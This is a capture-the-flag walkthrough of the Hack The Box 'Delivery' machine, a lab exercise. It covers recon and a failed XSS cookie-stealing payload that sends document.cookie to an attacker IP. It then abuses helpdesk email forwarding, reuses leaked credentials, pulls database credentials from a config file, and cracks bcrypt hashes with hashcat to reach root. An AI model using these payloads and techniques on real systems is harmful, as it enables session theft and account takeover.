> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/hack-the-box/easy/delivery.md).

# Delivery

## Recon

`nmap -sV -T4 -p- 10.10.10.222`

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    nginx 1.14.2
```

![](/files/-MadoSIHFNH3Xmk6SJX8)

From the website, there are two links:

* `http://delivery.htb:8065/`
* `http://helpdesk.delivery.htb/`

Add the following to the `/etc/hosts` file:

```
10.10.10.222    delivery.htb
10.10.10.222    helpdesk.delivery.htb
```

Note the information here:

![](/files/-MadpE7ickx7kRF0AkNo)

We don't have a `@delivery.htb` account, so we won't be able to access the MatterMost server just yet.

### helpdesk.delivery.htb

![](/files/-MadpHa3uYw6KtLtlYQa)

When submitting a ticket, the system is vulnerable to XSS.

#### 1st Try: Cookie Stealing

```javascript
<script> var i = new Image(); i.src = "http://10.10.14.16/log.php?q=" + escape(document.cookie); </script>
```

![](/files/-MadpLW1h49cY7ntLxS0)

Unfortunately this doesn't work, anything with `<script></script>` is removed.

#### 2nd Try: Look Closer

Note that after creating a ticket, it says:

![](/files/-MadpPEAFBGqCZrJ5lbR)

**"If you want to add more information... just email ..."**

So does this email simply forward everything it receives to the ticket?

### delivery.htb:8065

This is a MatterMost server. I went ahead and created an account with <7317917@delivery.htb> as the email address. This was previously not possible because

1. We needed a `@delivery.htb` email and
2. We needed email verification

The email does indeed forward everything to the ticket content:

![](/files/-Madpa6zF9Fy-qUsccmx)

By navigating to the link in the email, we can verify our account.

![](/files/-MadpmF4mAUCq0SmlMBL)

And we can log in to view some sensitive information:

![](/files/-MadpopSsCd15VkBYm5U)

## Foothold

We can use the `maildeliverer:Youve_G0t_Mail!` credential combination to authenticate and obtain SSH access to the server.

### User Flag

Right after we authenticate in, we are greeted by the `user.txt` flag.

![](/files/-MadprxiF7HeRtTQQp6y)

## Privesc

After a bit of exploring:

`cat /opt/mattermost/config/config.json`

![](/files/-MadpuSeZGX3X5eoxDFI)

Under the `SqlSettings`, the `mmuser:Crack_The_MM_Admin_PW` is used for the `mysql` database credentials. We can login to the 'local' MariaDB server:

`mysql -u mmuser -p` (`-u USERNAME -p`, then enter the password when prompted)

![](/files/-MadpxoCas44QnA70Yhd)

### MariaDB

`SHOW DATABASES;`

![](/files/-Madq-tJVHqbICrickXW)

Use the `mattermost` database: `USE mattermost;`

Dump `mattermost.Users` table: `SELECT * FROM Users;`

I copied this into a text file.

![](/files/-Madq2MxDH_hTEE5RG4c)

Compile the password hashes into a `users.hash` file:

```
$2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK
$2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO
$2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq
$2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm
```

Remember the message in the MatterMost channel earlier? Most of these passwords should be variations of "PleaseSubscribe!"

We were also hinted to use hashcat rules.

Result of Googling: <https://www.4armed.com/blog/hashcat-rule-based-attack/>

Rules file: `cp /usr/share/hashcat/rules/best64.rule rules`

Running hashcat on my host MacOS: `hashcat -m 3200 users.hash wordlist -r rules` (since hashcat requires a *GPU*)

Show cracked hash: `hashcat -m 3200 users.hash --show`

```
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21
```

Cross-checking with the `users.hash` file, the `root` password is `PleaseSubscribe!21`.

### Root Flag

From the `maildeliverer` bash shell: `su`, then use the `PleaseSubscribe!21` password.

![](/files/-Madq6UZq89aXbuyDWNL)